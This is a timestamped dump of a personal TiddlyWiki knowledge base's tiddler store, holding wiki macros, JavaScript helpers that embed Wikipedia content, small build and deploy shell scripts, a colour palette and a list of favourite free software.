[[tc-tab-content]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-body>>\n\t\t\t\u003C/div>\n\t\t\u003C/div>\n\t\u003C/$let>\n\u003C/$qualify>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/ltabs","modified":"20220925154754580"},
2023-02-06 22:43:30 +00:00
{"created":"20220920092322164","creator":"Octt","text":"\\whitespace trim\n\n\u003C!-- Transclude with clickable link --->\n\\define #:(Name)\n\u003Cstyle>\n.Transcluding > h1,\n.Transcluding > h2,\n.Transcluding > h3,\n.Transcluding > h4,\n.Transcluding > h5,\n.Transcluding > h6 {\nDisplay: Inline;\n}\n\u003C/style>\n\u003Cdiv class=\"Transcluding\">\n[[#|$Name$]]\n{{$Name$}}\n\u003C/div>\n\\end\n\n\u003C!-- Link to currentTiddler --->\n\\define lself() [[$(currentTiddler)$]]\n\\define #lself() [[#|$(currentTiddler)$]]\n\n\u003C!-- Field Checkbox --->\n\\define x#(Field Text)\n\u003C$checkbox field=\"$Field$\" checked=\"true\" unchecked=\"false\" default=\"false\"> $Text$\u003C/$checkbox>\n\\end\n\n\\define Table(Rows) \u003Ctable class=\"Octt-Table\" style=\"Width:100%;\">\u003Cstyle>.Octt-Table tr:nth-child(odd){background-color:#EEEEEE;}\u003C/style>$Rows$\u003C/table>\n\n\\define ColorText(Text Foreground)\n\u003Cspan style=\"Color:$Foreground$;\">$Text$\u003C/span>\n\\end\n\n\\define ColorSpan(Text Background)\n\u003Cspan style=\"Color:#FFFFFF; Background-Color:$Background$;\">$Text$\u003C/span>\n\\end\n\n\\define LImg(Src Href Alt)\n\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"$Href$\">\u003Cimg src=\"$Src$\" alt=\"$Alt$\">\u003C/a>\n\\end\n\n\\define StrAppend(Str Suffix Prefix) $Prefix$$Str$$Suffix$\n\n\\define FDroidLink(Package, Title:\"F-Droid\") [[$Title$|https://f-droid.org/en/packages/$Package$]]\n\n\\define GPlayLink(Package, Title:\"GPlay\") [[$Title$|https://play.google.com/store/apps/details?id=$Package$]]\n\n\\define TwitterLink(Path, Title:\"Twitter\") [[$Title$|https://twitter.com/$Path$]]\n\n\\define MatrixLink(ID, Title:\"Matrix\") [[$Title$|https://matrix.to/#/$ID$]]\n","tags":"$:/tags/Macro","title":"$:/Macros/Main","modified":"20230206211028469","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20230108190340455","creator":"Octt","text":"/*\\\nSee [[$:/Macros/MediaWiki]] for usage of this macro.\nNote: source must always be credited, and thus it's not ideal to use this macro directly. Please use the \u003C\u003CMediaWiki>> wrapper macro instead, as it provides a link to the source automatically. (This feature is implemented in its own non-JS macro to make at least the URL show on static wiki exports.)\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiEmbedInternal\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"Sections\"},\n];\n\nexports.run = function(Article, Domain, Sections) {\ntry {\n let Text;\n Sections = parseInt(Sections) || 0;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&formatversion=2&prop=extracts&format=json&origin=*&titles=' + Article, false);\n Req.send();\n Text = JSON.parse(Req.responseText).query.pages[0].extract;\n if (!Text) {\n Text = '\u003Cp>An error occurred while trying to extract the content. Close and reopen this \u003Ci>tiddler\u003C/i> to retry, or click the link to open the source in a new tab.\u003C/p>'\n };\n Text = Text.replaceAllTxt('\\n', '').replaceAllTxt('\u003Cp class=\"mw-empty-elt\">\u003C/p>', '');\n if (Sections != 0) {\n for (let i=1; i\u003C=6; i++) {\n Text = Text.replaceAllTxt(`\u003C/p>\u003Ch${i}>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\\n\u003Ch${i}>`);\n };\n Text = Text.replaceAllTxt(`\u003C/p>\u003Cp>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\u003Cp>`);\n //Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max+1).join('');\n //Text = Text.split('\u003Cp>').slice(0, Max+1).join('\u003Cp>');\n if (Sections \u003C 0) {\n Sections = 0;\n };\n Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Sections).join('');\n //Text += '\u003Cp>[...]\u003C/p>'\n };\n/*\n Sections = Sections.split(' ');\n for (let i=0; i\u003CSections.length; i++) {\n const Sec = Sections[i];\n if (Sec) {\n const Ind = Sec.toLowerCase()[0];\n const Val = Sec.substring(1);\n if (Ind == 'p' || Ind == 's') {\n if (Ind == 'p') {\n const Sep = '\u003C!--:PARAGRAPH:--->';\n } else \n if (Ind == 's') {\n const Sep = '\u003C!--:SECTION:--->';\n };\n Text = Text.split(Sep).slice(0, Val).join('');\n } else\n if (Ind == '#') {\n \n };\n };\n };\n*/\n return Text;\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/EmbedInternal.js","modified":"20230124213837502","type":"application/javascript","module-type":"macro","modifier":"Octt"},
{"created":"20230112154435120","creator":"Octt","text":"/*\\\nGet the cover image from a MediaWiki article.\n[\u003C\u003C]MediaWikiGetCover \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Manual URL OR NULL\"[>>]\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiGetCover\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"URL\"},\n];\n\nexports.run = function(Article, Domain, URL) {\ntry {\n if (!URL || URL && !$OcttKB.Options.Nulls.includes(URL.toLowerCase())) {\n let File;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&prop=pageimages&format=json&piprop=original&origin=*&titles=' + Article, false);\n Req.send();\n File = Object.values(JSON.parse(Req.responseText).query.pages)[0];\n if (File && File.original && File.original.source) {\n return `\u003Cimg src=\"${File.original.source}\">`;\n };\n };\n return '';\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/GetCover.js","modified":"20230124213845342","type":"application/javascript","module-type":"macro","modifier":"Octt"},
2023-01-30 08:25:13 +00:00
{"created":"20230110102736164","creator":"Octt","text":"\u003C!--\n[\u003C\u003C]MediaWiki[>>]\n| Embed sections of an article from a MediaWiki server.\n| [\u003C\u003C]MediaWiki \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Section Filtering\" \"Cover Media\"[>>]\n--->\n\n\\define MediaWiki(Article Domain Sections Cover)\n\u003Cdiv class=\"MediaWikiEmbed MediaWikiEmbedBlock\">\n\u003Cdiv class=\"EmbedFrom MediaWikiEmbedFrom\">\n From \u003C$set name=\"FullDomain\" filter=\"[[$Domain$]regexp[\\.]then[$Domain$]else[$Domain$.Wikipedia.org]]\">\n \u003C$macrocall $name=\"ExtMediaWikiAnchor\" Article=\"$Article$\" Domain=\u003C\u003CFullDomain>>/>\n \u003C/$set>\n\u003C/div>\n\u003Cdiv class=\"MediaWikiEmbedCover\">\n \u003C\u003CMediaWikiGetCover \"$Article$\" \"$Domain$\" \"$Cover$\">>\n\u003C/div>\n\u003Cdiv class=\"MediaWikiEmbedContent\">\n \u003C\u003CMediaWikiEmbedInternal \"$Article$\" \"$Domain$\" \"$Sections$\">>\n\u003C/div>\n\u003C/div>\n\\end\n\n\\define ExtMediaWikiAnchor(Article Domain) [[$Domain$/$Article$|https://$Domain$/wiki/$Article$]]\n\n\\define WikipediaFrame(Article Subdomain)\n\u003C\u003CiFrame \"https://$Subdomain$.wikipedia.org/wiki/$Article$\">>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/MediaWiki/Main","modified":"20230130075458066","modifier":"Octt"},
2022-09-22 05:25:19 +00:00
{"created":"20220921191720432","text":"\\define r(Title Notes)\n\u003Ctr>\n\u003Ctd>$Title$\u003C/td>\n\u003Ctd>\u003C\u003Cx# \"$Title$ - GotAny\">>\u003C/td>\n\u003Ctd>\u003C\u003Cx# \"$Title$ - GotLossless\">>\u003C/td>\n\u003Ctd>\u003C\u003Cx# \"$Title$ - UploadedLossless:Archive.org\">>\u003C/td>\n\u003Ctd>$Notes$\u003C/td>\n\u003C/tr>\n\\end\n\n\u003C$importvariables filter=\"$:/Macros\">","tags":"","title":"$:/Macros/Music Archiving Status","modified":"20220922052514703"},
2023-02-06 11:43:53 +00:00
{"created":"20230206111403666","creator":"Octt","text":"\\define lingo-base() $:/language/Manager/\n\n\\define list-item-content-item()\n\\whitespace trim\n\u003Cdiv class=\"tc-manager-list-item-content-item\">\n\t\u003C$vars state-title=\"\"\"$:/state/popup/manager/item/$(listItem)$\"\"\">\n\t\t\u003C$reveal state=\u003C\u003Cstate-title>> type=\"match\" text=\"show\" default=\"show\" tag=\"div\">\n\t\t\t\u003C$button set=\u003C\u003Cstate-title>> setTo=\"hide\" class=\"tc-btn-invisible tc-manager-list-item-content-item-heading\">\n\t\t\t\t{{$:/core/images/down-arrow}}&#32;\u003C$transclude tiddler=\u003C\u003ClistItem>> field=\"caption\"/>\n\t\t\t\u003C/$button>\n\t\t\u003C/$reveal>\n\t\t\u003C$reveal state=\u003C\u003Cstate-title>> type=\"nomatch\" text=\"show\" default=\"show\" tag=\"div\">\n\t\t\t\u003C$button set=\u003C\u003Cstate-title>> setTo=\"show\" class=\"tc-btn-invisible tc-manager-list-item-content-item-heading\">\n\t\t\t\t{{$:/core/images/right-arrow}}&#32;\u003C$transclude tiddler=\u003C\u003ClistItem>> field=\"caption\"/>\n\t\t\t\u003C/$button>\n\t\t\u003C/$reveal>\n\t\t\u003C$reveal state=\u003C\u003Cstate-title>> type=\"match\" text=\"show\" default=\"show\" tag=\"div\" class=\"tc-manager-list-item-content-item-body\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003ClistItem>>/>\n\t\t\u003C/$reveal>\n\t\u003C/$vars>\n\u003C/div>\n\\end\n\n\\whitespace trim\n\u003Cdiv class=\"tc-manager-wrapper\">\n\t\u003Cdiv class=\"tc-manager-controls\">\n\t\t\u003Cdiv class=\"tc-manager-control\">\n\t\t\t\u003C\u003Clingo Controls/Show/Prompt>>&#32;\u003C$select tiddler=\"$:/config/Manager/Show\" default=\"tiddlers\">\n\t\t\t\t\u003Coption value=\"tiddlers\">\u003C\u003Clingo Controls/Show/Option/Tiddlers>>\u003C/option>\n\t\t\t\t\u003Coption value=\"tags\">\u003C\u003Clingo Controls/Show/Option/Tags>>\u003C/option>\n\t\t\t\u003C/$select>\n\t\t\u003C/div>\n\t\t\u003Cdiv class=\"tc-manager-control\">\n\t\t\t\u003C\u003Clingo Controls/Search/Prompt>>&#32;\u003C$edit-text tiddler=\"$:/config/Manager/Filter\" tag=\"input\" default=\"\" placeholder={{$:/language/Manager/Controls/Search/Placeholder}}/>\n\t\t\u003C/div>\n\t\t\u003Cdiv class=\"tc-manager-control\">\n\t\t\t\u003C\u003Clingo Controls/FilterByTag/Prompt>>&#32;\u003C$select tiddler=\"$:/config/Manager/Tag\" default=\"\">\n\t\t\t\t\u003Coption value=\"\">\u003C\u003Clingo Controls/FilterByTag/None>>\u003C/option>\n\t\t\t\t\u003C$list filter=\"[!is{$:/config/Manager/System}tags[]!is[system]sort[title]]\" variable=\"tag\">\n\t\t\t\t\t\u003Coption value=\u003C\u003Ctag>>>\u003C$text text=\u003C\u003Ctag>>/>\u003C/option>\n\t\t\t\t\u003C/$list>\n\t\t\t\u003C/$select>\n\t\t\u003C/div>\n\t\t\u003Cdiv class=\"tc-manager-control\">\n\t\t\t\u003C\u003Clingo Controls/Sort/Prompt>>&#32;\u003C$select tiddler=\"$:/config/Manager/Sort\" default=\"title\">\n\t\t\t\t\u003Coptgroup label=\"Common\">\n\t\t\t\t\t\u003C$list filter=\"title modified modifier created creator created\" variable=\"field\">\n\t\t\t\t\t\t\u003Coption value=\u003C\u003Cfield>>>\u003C$text text=\u003C\u003Cfield>>/>\u003C/option>\n\t\t\t\t\t\u003C/$list>\n\t\t\t\t\u003C/optgroup>\n\t\t\t\t\u003Coptgroup label=\"All\">\n\t\t\t\t\t\u003C$list filter=\"[all{$:/config/Manager/Show}!is{$:/config/Manager/System}fields[]sort[title]] -title -modified -modifier -created -creator -created\" variable=\"field\">\n\t\t\t\t\t\t\u003Coption value=\u003C\u003Cfield>>>\u003C$text text=\u003C\u003Cfield>>/>\u003C/option>\n\t\t\t\t\t\u003C/$list>\n\t\t\t\t\u003C/optgroup>\n\t\t\t\u003C/$select>\n\t\t\t&#32;\n\t\t\t\u003C$checkbox tiddler=\"$:/config/Manager/Order\" field=\"text\" checked=\"reverse\" unchecked=\"forward\" default=\"forward\">\n\t\t\t\t&#32;\n\t\t\t\t\u003C\u003Clingo Controls/Order/Prompt>>\n\t\t\t\u003C/$checkbox>\n\t\t\u003C/div>\n\t\t\u003Cdiv class=\"tc-manager-control\">\n\t\t\t\u003C$checkbox tiddler=\"$:/config/Manager/System\" field=\"text\" checked=\"\" unchecked=\"system\" default=\"system\">\n\t\t\t\t&#32;\n\t\t\t\t{{$:/language/SystemTiddlers/Include/Prompt}}\n\t\t\t\u003C/$checkbox>\n\t\t\u003C/div
2023-01-26 20:25:57 +00:00
{"created":"20220922114846670","creator":"Octt","text":"\u003C!-- \u003C\u003Clist-links \"[!is[system]sort[title]]\">> -->\n\u003C\u003Ctree_>>","tags":"","title":"$:/OcttKB/AllTiddlers","modified":"20230126190501870","modifier":"Octt"},
2023-01-17 12:08:54 +00:00
{"created":"20230117110233701","text":"### My personal links!\n\n- [Mastodon](https://mastodon.uno/@octo) - Microblog, 98% italian \n- [Pixelfed](https://pixelfed.uno/@octo) - Where I post my pictures \n- [[🇮🇹️] Noblogo](https://noblogo.org/loli-documentatrice) - Old blog (italian) \n- Spacc Inc - [Website](https://spacc.xyz), [Telegram (photos of broken stuff)](https://t.me/s/SpaccInc) \n- SpaccCraft, my Minecraft server (italian): [Website](https://spacccraft.altervista.org), [Telegram](https://t.me/s/SpaccCraft), [Misskey](https://misskey.social/@SpaccCraft) \n\n\n### Scripts and Configs\n- [Andronix Scripts](https://github.com/AndronixApp/AndronixOrigin) - Scripts to install containerized Linux distros on Android in Termux \n\n\n### Awesome Big Libre Games!\n- [Techmino](https://github.com/26F-Studio/Techmino) - Flashy libre Tetris :) \n- [Sonic Robo Blast 2](https://www.srb2.org) - Sonic pseudo-3D platformer \n- [Sonic Robo Blast 2 Kart](https://wiki.srb2.org/wiki/SRB2Kart) - Sonic pseudo-3D kart racing \n- [Minetest](https://www.minetest.net) - Minining, crafting, and exploring game \n- [SuperTux](https://www.supertux.org) - Classic platformer but with the Linux penguin \n- [Extreme Tux Racer](https://sourceforge.net/projects/extremetuxracer) - Snow racing game, with the Linux penguin \n- [SuperTuxKart](https://supertuxkart.net) - Kart racing with many libre mascots \n- [Xonotic](https://xonotic.org) - Super fast arena FPS \n- [osu! lazer](https://github.com/ppy/osu) - Flashy multi-mode rhythm game \n\n\n### Awesome Arcade Libre Games!\n- [krassesSpiel](https://f-droid.org/packages/com.autismprime.krassesSpiel) - Shooting at boxes and avoiding enemy projectiles \n- [Antimine](https://f-droid.org/packages/dev.lucanlm.antimine) - Classic Minesweeper with a modern look \n- [SpaceCadetPinball](https://github.com/k4zmu2a/SpaceCadetPinball) - The classic 3D Pinball \n- [HexGL](https://hexgl.bkcore.com) - F-Zero inspired, fast racing game \n- [TuxPuck](https://packages.debian.org/search?keywords=tuxpuck) - Penguin air hockey game \n\n\n### Awesome Libre Demos!\n- [bb](http://aa-project.sourceforge.net/bb) - AA-lib text animation demo \n\n\n### Awesome Libre Cross-Platform Tools!\n- [Rclone](https://rclone.org) - CLI tool for managing cloud storage in flexible ways \n- [Cryptomator](https://cryptomator.org) - Data encryption tool with cloud storage in mind \n- [7-Zip](https://www.7-zip.org) - Useful file archiver supporting the efficient 7z format \n- [GNU nano](https://www.nano-editor.org), [ne](https://ne.di.unimi.it) - CLI text editors \n- [htop](https://htop.dev), [bottom](https://github.com/ClementTsang/bottom), [btop](https://github.com/aristocratos/btop) - CLI system monitors \n- [bat](https://github.com/sharkdp/bat) - Advanced cat clone \n- [RustDesk](https://github.com/rustdesk/rustdesk) - Promising remote desktop software \n- [Deskreen](https://github.com/pavlobu/deskreen) - Turns a secondary PC into a secondary screen for a primary PC \n- [Tor](https://www.torproject.org) - Anonymity and security online \n\n\n### Awesome Libre Desktop Tools!\n- [CoolRetroTerm](https://github.com/Swordfish90/cool-retro-term) - Terminal emulator that emulates a CRT monitor \n- [OBS Studio](https://obsproject.com) - Advanced video recording/streaming tool \n- [Olive](https://olivevideoeditor.org) - Nice and simple video editor \n- [Kdenlive](https://kdenlive.org) - Video editor from KDE \n- Shotcut - [Website](https://shotcut.org), [Source](https://github.com/mltframework/shotcut) - Video editor that might be my current favourite \n- [Mint Webapp Manager](https://github.com/linuxmint/webapp-manager) - Using webapps as desktop apps \n\n\n### Awesome Desktop Linux Themes!\n- [Chicago95](https://github.com/grassmunk/Chicago95) - Windows 95 theme for XFCE \n- [Papirus](https://github.com/PapirusDevelopmentTeam/papirus-icon-theme) - Material icon theme \n\n\n### Awesome Libre Dev Stuff!\n- [TIC-80](https://tic80.com) - Fantasy retro computer \n\n\n### Awesome Web Frameworks!\n- [98.css](ht
2023-01-25 22:30:40 +00:00
{"created":"20230111221906132","creator":"Octt","text":"/*\\\nLoad our reusable, comodity JS functions.\n\\*/\nexports.startup = function() {\ntry {\nvar $OcttKB = {};\n\n$OcttKB.ErrAtLine = function ErrAtLine(e) {\n var Str = `${e.stack.split('\\n')[0]}: ${e}`\n console.log(Str);\n return Str;\n};\n\n/*\n$OcttKB.EvalDecodeURI = function EvalDecodeURI(Str) {\n eval(decodeURIComponent(Str));\n};\n*/\n\n$OcttKB.Options = {};\n\n$OcttKB.Options.Trues = [1, true, 'yes'];\n$OcttKB.Options.Falses = [0, false, 'no'];\n$OcttKB.Options.Nulls = ['none', 'null'];\n\n$OcttKB.MediaWiki = {};\n\n$OcttKB.MediaWiki.MkDomain = function MkDomain(Domain) {\n if (!Domain) {\n Domain = 'en.wikipedia.org';\n } else\n if (!Domain.includes('.')) {\n Domain += '.wikipedia.org';\n };\n Domain = Domain.toLowerCase();\n if (!Domain.startsWith('http://') && !Domain.startsWith('https://')) {\n Domain = 'https://' + Domain;\n };\n return Domain;\n};\n\nwindow.$OcttKB = $OcttKB;\nwindow.ErrAtLine = $OcttKB.ErrAtLine;\n/*window.EvalDecodeURI = $OcttKB.EvalDecodeURI;*/\n} catch(e) {\n var Str = `${e.stack.split('\\n')[0]}: ${e}`\n console.log(Str);\n return Str;\n};\n};","tags":"","title":"$:/OcttKB/Functions.js","modified":"20230125220054682","type":"application/javascript","module-type":"startup","modifier":"Octt"},
2023-01-17 12:08:54 +00:00
{"created":"20230117113707614","text":"\u003C$list filter=\"[!is[system]get[modified]!prefix[NaN]!sort[]limit[1]]\" variable=modified>\n \u003C$list filter=\"[!is[system]modified\u003Cmodified>]\">\n \u003C$text text={{{[{!!modified}format:date[YYYY-0MM-0DD, 0hh:0mm]]}}}/>\n \u003C/$list>\n\u003C/$list>","tags":"","title":"$:/OcttKB/LastEditTime","modified":"20230117120120631"},
2023-01-12 22:51:23 +00:00
{"created":"20230112094149171","text":"\u003C$link to=\"OcttKB/Licensing\" class=\"CC-BY-SA-Button\">[img[$:/ThirdParty/Buttons/CC BY-SA.svg]]\u003C/$link>","tags":"","title":"$:/OcttKB/LicensingButtons","modified":"20230112210048896"},
2023-01-12 19:30:05 +00:00
{"created":"20230111154758023","text":"/*\\\nLoad our custom polyfills, for old browsers support.\n\\*/\nexports.startup = function() {\ntry {\n\n// https://stackoverflow.com/a/63958411\nString.prototype.replaceAllTxt = function replaceAll(search, replace) {\n return this.split(search).join(replace);\n};\n\n} catch(e) {\n const Str = `${e.stack.split('\\n')[0]}: ${e}`\n console.log(Str);\n return Str;\n};\n};","tags":"","title":"$:/OcttKB/Polyfills.js","modified":"20230112185932820","type":"application/javascript","module-type":"startup"},
2023-01-26 11:17:34 +00:00
{"created":"20230126082147025","creator":"Octt","text":"#!/bin/sh\ncd ./public\ntiddlywiki \\\n\t--load index.html \\\n\t--output ./ \\\n\t--rendertiddler $:/core/templates/static.template.css Style.css text/plain \\\n\t--rendertiddler $:/core/templates/alltiddlers.template.html Static.html text/plain\n","title":"$:/OcttKB/Repo/Build.sh","modified":"20230126082232541","modifier":"Octt","type":"text/plain"},
{"created":"20230126082330667","creator":"Octt","text":"#!/bin/sh\nURL=\"https://kb.octt.eu.org\"\ncd ./public\nwget -O \"./-1.html\" \"$URL\" || true\nwget -O \"./-2.html\" \"$URL/-1.html\" || true\n","title":"$:/OcttKB/Repo/DeployOld.sh","modified":"20230126082445095","modifier":"Octt","type":"text/plain"},
{"created":"20230126081754717","creator":"Octt","text":"#!/bin/sh\n./Build.sh\n./DeployOld.sh\n","tags":"","title":"$:/OcttKB/Repo/Main.sh","modified":"20230126082102765","modifier":"Octt","type":"text/plain"},
2023-02-06 11:43:53 +00:00
{"created":"20230112221909714","modified":"20230206113209737","title":"$:/OcttKB/StaticBanner","text":"\u003Cdiv style=\"Padding-Left:16px; Padding-Right:16px;\">\n\u003Ch1 class=\"tc-site-title\">\n\u003Ca class=\"tc-tiddlylink tc-tiddlylink-missing\" >OcttKB\u003C/a>\n\u003C/h1>\n\u003Cdiv class=\"tc-site-subtitle\">\nOctt Knowledge Base || Powered by [[TiddlyWiki|TiddlyWiki]].\u003C/div>\n\u003Cp>\n\u003Cb>Note\u003C/b>: You're viewing the no-JS version of this site, some features will be missing. For the best experience, \u003Ca href=\"./\">load the full version\u003C/a>.\n\u003C/p>\n\u003C/div>","tags":"","modifier":"Octt"},
2023-01-10 18:31:44 +00:00
{"created":"20230110181206539","text":"\\import [[$:/ThirdParty/TiddlyTools/FilterGenerators/TagCloud]]\n\n\\define config() $:/config/TiddlyTools/TagCloud\n\\define options() $:/state/popup/tagcloud\n\\define default_min() 0.75\n\\define default_step() 0.25\n\\define default_max() 3.00\n\\define default_group() 5\n\n\u003Cstyle>\n.tc-tag-label { white-space: normal !important; }\n.tc-tag-list-item { padding: 2px; }\n .tt-tagcloud input { width:auto !important; }\n .tt-tagcloud input.option { width:3em !important; text-align:right; }\n\u003C/style>\n\n\u003Cdiv class=\"tt-tagcloud\">\n\u003C!--\u003C\u003Ctagcloud_select>>--->\n\u003C!--\u003C$set name=taglist filter=\"[\u003Cconfig>get[taglist]enlist-input[]]\">--->\n\u003C$set name=taglist filter=\"[tags[]!is[system]]\">\n\u003C!--\u003C\u003Ctagcloud_summary>>--->\n\u003C\u003Ctagcloud_show>>\n","tags":"","title":"$:/OcttKB/TagCloud","modified":"20230110182005662"},
{"created":"20230110183048646","text":"\u003Cdiv class=\"tc-table-of-contents\">\n\u003C\u003Ctoc-selective-expandable \"TableOfContents\">>\n\u003C/div>","tags":"","title":"$:/OcttKB/ToC","modified":"20230110183103058"},
2023-01-10 23:03:54 +00:00
{"created":"20230110205229441","text":"!!! Personal Tweaks\n\n|\u003C$link to=\"$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding\">.tc-story-river Padding\u003C/$link>\u003Cbr>//Default 42px.//|\u003C$edit-text tiddler=\"$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding\" default=\"\" tag=\"input\"/>|\n","tags":"","title":"$:/OcttKB/Tweaks/Starlight.cfg","modified":"20230110213137071"},
2023-01-09 12:58:43 +00:00
{"created":"20220920090859450","title":"$:/palette","text":"$:/palettes/Octt Light","modified":"20230109112532387"},
2022-09-20 21:20:59 +00:00
{"created":"20220920191922289","text":"alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #fff\nblockquote-bar: \u003C\u003Ccolour muted-foreground>>\nbutton-background: \nbutton-foreground: \nbutton-border: \ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: \u003C\u003Ccolour foreground>>\ndragger-background: \u003C\u003Ccolour foreground>>\ndragger-foreground: \u003C\u003Ccolour background>>\ndropdown-background: \u003C\u003Ccolour background>>\ndropdown-border: \u003C\u003Ccolour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333353\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: \u003C\u003Ccolour foreground>>\nmodal-background: \u003C\u003Ccolour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #ddddff\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #dd55ff\nselect-tag-background: \nselect-tag-foreground: \nsidebar-button-foreground: \u003C\u003Ccolour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #77767b\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: \u003C\u003Ccolour page-background>>\nsidebar-tab-background: \u003C\u003Ccolour tab-background>>\nsidebar-tab-border-selected: \u003C\u003Ccolour tab-border-selected>>\nsidebar-tab-border: \u003C\u003Ccolour tab-border>>\nsidebar-tab-divider: \u003C\u003Ccolour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: \u003C\u003Ccolour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #c061cb\nsite-title-foreground: \u003C\u003Ccolour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: \u003C\u003Ccolour background>>\ntab-background: #ccccdd\ntab-border-selected: #ccccdd\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: \u003C\u003Ccolour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #eeeeff\ntag-foreground: #000\ntiddler-background: \u003C\u003Ccolour background>>\ntiddler-border: \u003C\u003Ccolour background>>\ntiddler-controls-foreground-hover: #666666\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #9a9996\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #ffffff\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #ffffff\ntiddler-link-background: \u003C\u003Ccolour background>>\ntiddler-link-foreground: \u003C\u003Ccolour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #c061cb\ntoolbar-new-button: #5eb95e\ntoolbar-options-button: rgb(128, 88, 165)\ntoolbar-save-button: #0e90d2\ntoolbar-info-button: #0e90d2\ntoolbar-edit-button: #986a44\ntoolbar-close-button: #ff7800\ntoolbar-delete-button: #e01b24\ntoolbar-cancel-button: rgb(243, 123, 29)\ntoolbar-done-button: #5eb95e\nuntagged-background: #999999\nvery-muted-foreground: #888888","title":"$:/palettes/Octt Light","name":"Octt Light","color-scheme":"light","tags":"$:/tags/Palette","type":"application/x-tiddler-dictionary","modified":"20220920212045032"}
2022-11-09 14:49:12 +00:00
{"created":"20221109143855804","text":"The plugin library for the latest and greatest plugins from [ext[tobibeer/plugins|https://tobibeer.github.io/tw5-plugins]]; officially released versions of plugins by [ext[tobibeer|https://github.com/tobibeer]].","bag":"default","revision":"0","url":"https://tobibeer.github.io/tw5-plugins/library/index.html","title":"$:/pluginlibrary/tobibeer/official","tags":"$:/tags/PluginLibrary","modifier":"Tobias Beer","modified":"20221109143900702","caption":"Official Plugin Library by Tobias Beer"},
2023-01-14 23:57:47 +00:00
{"type":"application/json","text":"{\n \"tiddlers\": {\n \"$:/plugins/felixhayashi/hotzone/config.js\": {\n \"title\": \"$:/plugins/felixhayashi/hotzone/config.js\",\n \"text\": \"/*\\\\\\n\\ntitle: $:/plugins/felixhayashi/hotzone/config.js\\ntype: application/javascript\\nmodule-type: library\\n\\n@preserve\\n\\n\\\\*/\\n(function(){\\\"use strict\\\";exports.config={classNames:{storyRiver:\\\"tc-story-river\\\",tiddlerFrame:\\\"tc-tiddler-frame\\\",tiddlerTitle:\\\"tc-title\\\"},references:{userConfig:\\\"$:/config/hotzone/focusOffset\\\",focussedTiddlerStore:\\\"$:/temp/focussedTiddler\\\"},checkbackTime:$tw.utils.getAnimationDuration()}})();\",\n \"type\": \"application/javascript\",\n \"module-type\": \"library\"\n },\n \"$:/plugins/felixhayashi/hotzone/hotzone.js\": {\n \"title\": \"$:/plugins/felixhayashi/hotzone/hotzone.js\",\n \"text\": \"/*\\\\\\n\\ntitle: $:/plugins/felixhayashi/hotzone/hotzone.js\\ntype: application/javascript\\nmodule-type: startup\\n\\n@preserve\\n\\n\\\\*/\\n(function(){\\\"use strict\\\";exports.name=\\\"hotzone\\\";exports.platforms=[\\\"browser\\\"];exports.after=[\\\"story\\\"];exports.synchronous=true;exports.startup=function(){var t=require(\\\"$:/plugins/felixhayashi/hotzone/config.js\\\").config;var e=null;var 